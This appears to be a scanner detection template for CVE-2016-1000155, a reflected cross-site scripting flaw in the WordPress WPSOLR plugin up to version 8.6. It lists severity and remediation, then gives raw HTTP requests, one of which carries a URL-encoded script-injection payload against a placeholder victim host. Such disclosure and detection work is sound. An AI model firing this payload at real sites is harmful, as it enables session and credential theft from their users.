| Title | WordPress WPSOLR <=8.6 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to the latest version of WPSOLR plugin (8.7 or higher). |
| CVSS Score | 6.1 |
| EPSS Score | 0.02155 |
| CVE ID | CVE-2016-1000155 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin wpsolr vuln |
WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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